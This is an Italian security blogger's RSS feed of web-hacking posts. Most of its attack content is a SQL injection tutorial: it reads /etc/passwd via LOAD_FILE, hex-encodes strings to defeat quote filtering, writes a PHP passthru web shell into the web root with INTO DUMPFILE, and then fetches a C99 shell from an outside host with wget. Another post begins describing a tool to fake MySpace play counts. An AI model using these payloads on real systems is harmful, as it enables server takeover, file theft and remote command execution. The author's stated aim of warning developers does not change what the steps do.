<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>evilsocket.net &#187; Web Hacking</title>
	<atom:link href="http://www.evilsocket.net/category/hacking/web-hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evilsocket.net</link>
	<description>If you can't understand it, it doesn't mean it's wrong ...</description>
	<lastBuildDate>Wed, 21 Jul 2010 00:16:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Come hackerare Google e rimanere indisturbato per un anno.</title>
		<link>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html</link>
		<comments>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html#comments</comments>
		<pubDate>Sun, 11 Jul 2010 17:06:25 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[auth]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[emanuele gentili]]></category>
		<category><![CDATA[emgent]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1296</guid>
		<description><![CDATA[Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog questo articolo (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1.jpg"><img class="alignleft size-medium wp-image-1299" title="google_hack1" src="http://www.evilsocket.net/wp-content/uploads/2010/07/google_hack1-300x224.jpg" alt="" width="180" height="134" /></a>Circa un anno fa, per la precisione il 13 maggio 2009, postai sul blog <a href="http://www.evilsocket.net/64/google-hacking.html" target="_blank">questo articolo</a> (il video è corrotto, quello fixato lo troverete qui sotto), nel quale dimostravo senza alcuna ombra di dubbio come Google, attraverso il sistema di pubblicazione dei widgets, fosse estremamente vulnerabile ad attacchi di tipo XSS, CSRF e quant&#8217;altro si possa fare potendo eseguire codice javascript nella pagina stessa di Google.</p>
<p>Ebbene, è passato più di un anno, Google sicuramente avrà subito tantissimi cambiamenti sia a livello grafico che a livello di funzionalità, eppure questo problema non è ancora stato patchato.</p>
<p><span id="more-1296"></span>Qui di seguito trovate il mio video, chiedo scusa per la bassa qualità ma quello originale è stato danneggiato tra un backup e l&#8217;altro, così il meglio che ho potuto fare è stato scaricarne la versione mp4 da youtube, dove un ragazzo che non conosco ha postato lo stesso video in bassa definizione.</p>
<p><center><br />
<object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=13248215&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/13248215">Hacking Google 13 May 2009</a> from <a href="http://vimeo.com/user2113367">evilsocket</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p></center></p>
<p>Poi, qualche tempo fa, mi sono imbattuto in un <a href="http://vimeo.com/11441059" target="_blank">altro video</a>, postato su Vimeo da <a href="http://www.backtrack.it/~emgent/" target="_blank">Emanuele Gentili</a>, il quale mostra sostanzialmente la stessa vulnerabilità.</p>
<p>Il buon emgent, noto per la sua politica di responsible disclousure, ha immediatamente scritto al team tecnico di Google &#8230; e cosa gli hanno risposto ?</p>
<blockquote><p>Si, è vero, è un bug, ma non sappiamo come patchare.. hai qualche suggerimento?</p></blockquote>
<p>Perfetto, non solo in più di un anno non è cambiato nulla, non solo questa vulnerabilità potrebbe essere sfruttata in scenari praticamente infiniti, ma lo staff di Google si permette anche di rispondere così!</p>
<p>Che dire &#8230; bah! -.-</p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1296">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1296&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/1024/google-0-io-1.html' rel='bookmark' title='Permanent Link: Google : 0, Io : 1'>Google : 0, Io : 1</a></li>
<li><a href='http://www.evilsocket.net/936/hybris-memory-lookup-now-google-powered.html' rel='bookmark' title='Permanent Link: Hybris memory lookup, now Google powered!!!'>Hybris memory lookup, now Google powered!!!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1296/come-hackerare-google-e-rimanere-indisturbato-per-un-anno.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Tecniche avanzate di SQL Injection, quello che non tutti sanno!</title>
		<link>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html</link>
		<comments>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:39:08 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[c99]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[dumpfile]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[into dumpfile]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1245</guid>
		<description><![CDATA[Qualche tempo fa scrissi una breve (e decisamente incompleta) introduzione alle sql injections che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema. Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Qualche tempo fa scrissi una breve (e decisamente incompleta) <a href="http://www.evilsocket.net/74/introduction-to-sql-injections.html" target="_blank">introduzione alle sql injections</a> che illustrava i concetti di base più l&#8217;enumerazione di tabelle e colonne tramite il famoso information_schema.</p>
<p>Sabato scorso son passato all&#8217;hack meeting, invitato da un (nuovo) amico, e mi sono imbattuto in uno speech proprio su questa tecnica di intrusione (che devo dire è anche la mia preferita per quanto concerne il web hacking <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) ed il ragazzo che lo stava tenendo ha detto alla fine la frase &#8220;con le sql injections si possono fare innumerevoli cose&#8221; che mi ha fatto venir voglia di scrivere questo articolo.</p>
<p>Ci sono alcuni aspetti delle SQL injections che in realtà non sono molto conosciuti, ma che aprono davvero un mondo e portano un ipotetico attaccante (o un informatico che deve porre rimedio a questa piaga) nella condizione di avere accessi con privilegi ben superiori a quelli che una &#8220;normale&#8221; iniezione darebbe.</p>
<h2><span id="more-1245"></span>Accesso in lettura al file system.</h2>
<p>MySQL, così come tantissimi altri database, hanno delle funzioni integrate nel linguaggio stesso che offrono funzionalità avanzate all&#8217;interno delle query, basti pensare alle funzioni <strong>CONCAT()</strong> o <strong>MID() </strong>per operare sulle stringhe.</p>
<p>Una funzione non molto conosciuta, principalmente perchè son pochi gli scenari nella quale convenga usarla, è la funzione<strong> LOAD_FILE() </strong>che, come suggerisce il nome stesso, serve per caricare il contenuto di un file all&#8217;interno di un buffer di MySQL.</p>
<p>Ad esempio, eseguendo la query :</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Riceveremo come risultato il contenuto del rinomato file &#8230; beh, perchè non utilizzare tale funzione anche all&#8217;interno di un injection ?</p>
<p>Invece di un ipotetico :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,username,password <strong>FROM</strong> users<strong><em>/** </em></strong></p></blockquote>
<p>Potremmo fregarcene della tabella utenti ed andarci direttamente a spulciare il filesystem :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,<strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>),NULL<strong><em>/**</em></strong></p></blockquote>
<h2>Come aggirare la rogna degli apici.</h2>
<p>Seguendo l&#8217;esempio qui sopra riportato, vorrei parlare di un altro &#8220;trick&#8221; di MySQL non motlo conosciuto &#8230; spesso durante il testing di una sql injection, ci rendiamo conto che utilizzare degli apici all&#8217;interno del codice da noi iniettato diventa una vera rogna, questo specialmente quando la query che esegue la pagina web (e che noi non conosciamo del tutto) è molto complessa, con diverse JOIN ecc, risultando di volta in volta in un errore di sintassi perchè abbiamo messo un apice di troppo (che magari ci è stato segato dalle magic quotes, le puttane!!!).</p>
<p>Questo potrebbe accadere ad esempio, con gli apici utilizzati per passare l&#8217;argomento alla funzione LOAD_FILE &#8230; ma in realtà, aggirare questo problema (e metterlo nel cxxo alle gpc!) è abbastanza semplice se si conosce il modo &#8230; basta codificare in esadecimale! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Ovvero, invece di utilizzare la dicitura</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em>&#8216;/etc/passwd&#8217;</em>)</p></blockquote>
<p>Utilizzeremo</p>
<blockquote><p><strong>SELECT</strong> <strong>LOAD_FILE</strong>(<em> 0x2f6574632f706173737764 </em>)</p></blockquote>
<p>Dove 0x2f6574632f706173737764 corrisponde alla stringa /etc/passwd codificata in esadecimale &#8230; e così, via gli apici! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Questo si può utilizzare anche nei confronti (0x61646d696e = admin) :</p>
<blockquote><p><strong>SELECT</strong> NULL,NULL,username,password <strong>WHERE</strong> username=0x61646d696e</p></blockquote>
<p>E così via, generalmente ogni qual volta bisognerebbe utilizzare una stringa ma per un motivo o per un altro non possiamo (o vogliamo perchè siam pigri) farlo.</p>
<h2>Accesso in scrittura al file system.</h2>
<p>Mi son tenuto questa chicca per ultima perchè è la più sfiziosa <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Non sarebbe bello poter arrivare, partendo da una semplice sql injection, ad una shell php (o di qual si voglia linguaggio) pronta a runnare sul server in questione, così da poterci spulciare tutto il file system in pace ed eseguire comandi da remoto?</p>
<p>Beh, è fattibilissimo! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Analogamenente alla funzione LOAD_FILE precedentemente vista, esiste anche una coppia di keywords MySQL che invece ci permette di inserire del contenuto arbitrario all&#8217;interno del file che vogliamo, tale magica accoppiata è <strong>INTO DUMPFILE</strong> .</p>
<p>C&#8217;è da specificare una cosa che, anche essendo ovvia, non è così banale &#8230; dovendo specificare come argomento il path completo del file che vogliamo creare (o sovrascrivere!!), è sottointeso che tale cartella debba essere scrivibile dall&#8217;utente con i quali privilegi è in esecuzione il demone MySQL.</p>
<p>Se ci interessasse solamente creare un file non necessariamente raggiungibile via web (quindi non nella cartella nella quale apache si aspetta i file html e php), potremmo benissimo scrivere nella /tmp/ che generalmente è accessibile da tutti, utilizzando la query :</p>
<blockquote><p><strong>SELECT</strong> &#8216;contenuto&#8217; <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/tmp/blablabla&#8217;</p></blockquote>
<p>O meglio ancora, codificato in esadecimale come abbiamo visto prima :</p>
<blockquote><p><strong>SELECT</strong> 0x636f6e74656e75746f <strong>INTO</strong> <strong>DUMPFILE</strong> 0x2f746d702f626c61626c61626c61</p></blockquote>
<p>Dove &#8220;contenuto&#8221; ovviamente è quello che vogliamo mettere dentro il file &#8230;</p>
<p>Scrivere nella /tmp non è molto utile, a meno che il sito sia affetto anche da una LFI (local file inclusion = inclusione di file locali) e quindi potremmo prima creare il file e successivamente forzare una pagina ad includerlo per eseguirlo.</p>
<p>Quello che ci interessa veramente però (almeno quello che solitamente interessa a me <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ) è scrivere nella stessa cartella che contiene il sito, così da poterci mettere una shell ed utilizzarla in tutta comodità.</p>
<p>Non esiste (o almeno io non l&#8217;ho trovato) il modo, tramite una query SQL, di trovare il full path della htdocs, però ci sono un paio di metodi che, con un po di intuito e fortuna funzionano il 99% delle volte.</p>
<p>Il primo, tramite il metodo sopra indicato di lettura del file system,  consiste nel leggere il file di configurazione di apache (httpd.conf) che solitamente è contenuto in /etc/[qualcosa] (dove [qualcosa] è cmq un valore che varia di poco da server a server ed è di conseguenza facilmente &#8216;guessabile&#8217;) e vedere i path dei vari virtual hosts .</p>
<p>Questo metodo però, necessita che l&#8217;utente con il quale runna MySQL possa leggere quel file e non sempre questo è possibile anzi, se chi ha configurato il server è bravo, non è quasi mai possibile.</p>
<p>Il secondo metodo invece, funziona praticamente sempre <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ormai, la stragrande maggioranza dei siti utilizza applicazioni web cms quali WordPress, PHPNuke (OMFG c&#8217;è ancora chi lo usa!!!), PHPFusion, Joomla e così via.</p>
<p>Tali sistemi, al momento dell&#8217;installazione, inseriscono in una tabella (che varia da sistema a sistema, ma essendo questi sistemi opensource cmq le tabelle sono note) il full path nel quale sono stati installati, il più delle volte per poter includere correttamente i vari file php che gli servono, altre volte (specialmente nel caso dei forum) per sapere in quale cartella, ad esempio, possono spostare gli allegati uploadati in un post.</p>
<p>Ebbene &#8230; è proprio quello che ci serve!</p>
<p>Abbiamo una sql injection, sappiamo quale sistema PHP gira nel sito, sappiamo quale colonna di quale tabella ci interessa &#8230; ci basterà utilizzare una sql injection che selezioni quella variabile dal database e eccoci qui, abbiamo il full path di installazione del sito che stiamo attaccando!</p>
<p>A questo punto, ipotizzando che il path sia &#8220;/var/www/htdocs/sito.com/&#8221; (ipotesi tra l&#8217;altro non molto distante dalle casistiche reali), potremmo utilizzare una sql injection del tipo :</p>
<blockquote><p>http://www.site.com/news.php?id=1 <strong>AND</strong> 1=2 <strong>UNION SELECT</strong> NULL,NULL,&#8217;<strong>&lt;?php</strong> <strong>passthru($_GET["cmd"]); ?</strong><strong>&gt;</strong>&#8216;,NULL <strong>INTO</strong> <strong>DUMPFILE</strong> &#8216;/var/www/htdocs/sito.com/lulz.php&#8217;/**</p></blockquote>
<p>(Magari il tutto opportunamente codificato in hex come visto prima, fate vobis che a me non va XD)</p>
<p>Dalla query risulta evidente come abbiamo scritto un piccolo codice php all&#8217;interno della pagina lulz.php, codice che eseguirà qualsiasi comando gli venga passato tramite la variabile &#8220;cmd&#8221;, mostrandone il contenuto &#8230; a questo punto, o utiliziamo lo script direttamente, del tipo :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=ls</p></blockquote>
<p>Oppure, cosa ancor più comoda, potremmo utilizzarlo per scaricare, tramite wget, una shell un attimino più decente (magari una C99) :</p>
<blockquote><p>http://www.site.com/lulz.php?cmd=wget%20http://www.evilsite.com/c99.txt</p></blockquote>
<blockquote><p>http://www.site.com/lulz.php?cmd=mv%20c99.txt%20c99.php</p></blockquote>
<p>Ed eccoci qua, da una semplice e comune SQL injection, siamo passati ad avere una shell sul server! Non male vero? Soprattutto se pensate che tramite queste funzioni è possibile accedere, tramite i privilegi del demone MySQL, anche ad eventuali risorse di rete &#8230; a voi la ricerca! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Ci tengo a precisare che non sto scrivendo un articolo di questo genere, dopo tanto tempo che non ne scrivevo, per incitare le persone a lamerare, ma solo per sensibilizzare quei programmatori che troppo spesso, soprattutto in ambito professionale, sottovalutano dei bug apparentemente piccoli ma che, come mostrato, possono portare a conseguenze veramente disastrose.</p>
<p>Cya the next time! <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1245">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1245&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/74/introduction-to-sql-injections.html' rel='bookmark' title='Permanent Link: Introduction to SQL Injections'>Introduction to SQL Injections</a></li>
<li><a href='http://www.evilsocket.net/46/iscan.html' rel='bookmark' title='Permanent Link: iScan'>iScan</a></li>
<li><a href='http://www.evilsocket.net/889/usare-la-serializzazione-in-php-per-il-caching-delle-query-sql.html' rel='bookmark' title='Permanent Link: Usare la serializzazione in PHP per il caching delle query SQL'>Usare la serializzazione in PHP per il caching delle query SQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1245/tecniche-avanzate-di-sql-injection-quello-che-non-tutti-sanno.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>WP-Sentinel Pubblicato</title>
		<link>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html</link>
		<comments>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 12:32:45 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[evilsentinel]]></category>
		<category><![CDATA[evilsocket]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security system]]></category>
		<category><![CDATA[sentinel]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp-sentinel]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=764</guid>
		<description><![CDATA[Ho appena fatto le ultime modifiche fino ad arrivare alla versione 1.0 di WP-Sentinel e ho deciso di renderlo pubblico . Potete trovare il codice e le istruzioni per l&#8217;installazione la configurazione a questa pagina &#8230; proprio perchÃ¨ mi sono sbattuto per scrivere il file README, NON risponderÃ² ad alcuna domanda riguardante installazione e configurazione [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/106/wp-sentinel.html' rel='bookmark' title='Permanent Link: WP-Sentinel'>WP-Sentinel</a></li>
<li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, now PDF powered :)'>Informazione di Servizio, now PDF powered :)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ho appena fatto le ultime modifiche fino ad arrivare alla versione 1.0 di WP-Sentinel e ho deciso di renderlo pubblico .</p>
<p>Potete trovare il codice e le istruzioni per l&#8217;installazione la configurazione a <a href="http://github.com/evilsocket/WP-Sentinel/tree/master" target="_blank">questa pagina </a>&#8230; proprio perchÃ¨ mi sono sbattuto per scrivere il file README, <strong>NON </strong>risponderÃ² ad alcuna domanda riguardante installazione e configurazione ma solo ad eventuali domande tecniche o che comunque reputerÃ² intelliggenti .</p>
<p>Riporto brevemente la versione italiana del readme :</p>
<p><span id="more-764"></span><strong>WP-Sentinel</strong>, erede in parte del progetto <strong>evilsentinel</strong> (R.I.P.), Ã¨ un plugin per la piattaforma <strong>WordPress</strong> che aumenterÃ  la sicurezza del vostro<br />
blog da eventuali attacchi di cracker, lamer, black hats, h4x0r, ecc .<br />
Il sistema verrÃ  caricato prima degli altri plugins ed eseguirÃ  una serie di controlli sulle richieste http in arrivo ed, in caso una o piÃ¹ richieste<br />
facciano scattare un *allarme*, la bloccherÃ  mostrando un avviso all&#8217;utente e notificherÃ  per email l&#8217;accaduto all&#8217;amministratore del sito in questione,<br />
con tutti i dettagli del potenziale attacco .</p>
<p>Questo plugin Ã¨ in grado di bloccare i seguenti tipi di attacchi :</p>
<p>-<strong> Cross Site Scriptings</strong> &lt;http://it.wikipedia.org/wiki/Cross-site_scripting&gt;<br />
- <strong>Remote File Inclusions</strong> &lt;http://it.wikipedia.org/wiki/Remote_File_Inclusion&gt;<br />
- <strong>Local File Inclusions</strong> &lt;https://www.ihteam.net/blog/hacking-tutorial/local-file-inclusion-tutorial/&gt;<br />
- <strong>SQL Injections</strong> &lt;http://it.wikipedia.org/wiki/SQL_injection&gt;<br />
- <strong>Cross Site Request Forgery</strong> &lt;http://it.wikipedia.org/wiki/Cross-site_request_forgery&gt;<br />
<span style="color: #ff0000;"><em>Il plugin *<strong>NON</strong>* effettua controlli nel caso in cui l&#8217;utente che effettua la richiesta Ã¨ un amministratore del blog, quindi per testare il sistema dovrete</em></span></p>
<p><span style="color: #ff0000;"><em>effettuare il logout .</em></span><br />
Per <strong>INSTALLARE</strong> wp-sentinel, uploadate tutta la cartella &#8216;<strong>wp-sentinel</strong>&#8216; all&#8217;interno della cartella dei plugins &#8216;<strong>/wp-content/plugins/</strong>&#8216; del vostro blog e <strong>accertatevi<br />
che la cartella &#8216;/wp-content/plugins/wp-sentinel/log&#8217; sia scrivibile</strong> .<br />
Successivamente il sistema potrÃ  essere abilitato come ogni altro plugin ed entrerÃ  immediatamente in funzione .</p>
<p>WP-Sentinel non ha molte configurazioni disponibili al momento, ma quelle poche che ci sono possono essere modificate tramite il file &#8216;<strong>/wp-content/plugins/wp-sentinel/php/config.php</strong>&#8216; .<br />
I tre valori di configurazione sono :</p>
<p>- <strong>enabled</strong> : Impostato ad 1 abilita wp-sentinel, a 0 lo disabilita .<br />
- <strong>notification</strong> : Abilita o meno le notifiche via email all&#8217;admin del blog .<br />
- <strong>logging</strong> : Abilita o meno il logging degli allarmi dentro la cartella &#8216;wp-sentinel/log&#8217; .</p>
<p>Enjoy <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=764">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=764&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/106/wp-sentinel.html' rel='bookmark' title='Permanent Link: WP-Sentinel'>WP-Sentinel</a></li>
<li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, now PDF powered :)'>Informazione di Servizio, now PDF powered :)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>MySpace Protocol Reversing &#8211; Band Auto Clicker</title>
		<link>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html</link>
		<comments>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html#comments</comments>
		<pubDate>Sat, 13 Jun 2009 16:44:08 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[band clicker]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hits]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[song]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=731</guid>
		<description><![CDATA[Un po di tempo fa, una certa persona mi commisionÃ² un progetto che riguardava MySpace ed i profili delle band. Come alcuni di voi sapranno, su questo social network Ã¨ possibile creare un profilo per la propria band, nel quale poter uploadare i propri brani (o alcuni di essi) in formato mp3 che verranno poi [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/70/realtime-source-auditing.html' rel='bookmark' title='Permanent Link: Realtime Source Auditing'>Realtime Source Auditing</a></li>
<li><a href='http://www.evilsocket.net/78/syn-scanning.html' rel='bookmark' title='Permanent Link: Syn Scanning'>Syn Scanning</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://blog.recordunion.com/dogblog/wp-content/uploads/2009/05/myspace_logo088.jpg" alt="" width="142" height="142" />Un po di tempo fa, una certa persona mi commisionÃ² un progetto che riguardava MySpace ed i profili delle band.</p>
<p>Come alcuni di voi sapranno, su questo social network Ã¨ possibile creare un profilo per la propria band, nel quale poter uploadare i propri brani (o alcuni di essi) in formato mp3 che verranno poi eseguiti nel profilo stesso dall&#8217;apposito player in flash .</p>
<p>CiÃ² che non tutti sanno, o perlomeno che non tutti hanno notato, Ã¨ che questo player tiene traccia delle statistiche di ogni brano, principalmente quanta gente lo ha ascoltato complessivamente, giornalmente, ecc ecc. Tali statistiche vengono poi utilizzate per scegliere le band da promuovere nella sezione musicale di myspace, in parole povere, le band piÃ¹ ascoltate usufruiranno di una pubblicizzazione gratuita (e decisamente remunerativa) nella sezione di MySpace .</p>
<p>Il mio compito era di reversare il protocollo di comunicazione di MySpace tra i vari server e sfruttare tali informazioni per scrivere un programma che incrementi arbitrariamente le statistiche di un brano o di tutta la playlist .</p>
<p>Per un motivo o per un altro il mio rapporto professionale con questa persona Ã¨ andato a farsi benedire e mi son trovato in mano una settimana di ricerche e coding, che a questo punto decido di condividere con chiunque sia interessato, soprattutto perchÃ¨ software analoghi sono sempre proprietari e a pagamento .</p>
<p><span id="more-731"></span>Come Ã¨ facile immaginare, tutto ha inizio con una richiesta http al profilo dell&#8217;artista, nella forma :</p>
<blockquote>
<pre><em>http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=<strong>{ID DEL PROFILO}</strong></em></pre>
</blockquote>
<p>Dove ovviamente l&#8217;ultimo parametro Ã¨ un id numerico che identifica il profilo, ad esempio, un profilo che avevo creato per i test :</p>
<blockquote>
<pre><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=454317278" target="_blank"><em>http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=<strong>454317278</strong></em></a></pre>
</blockquote>
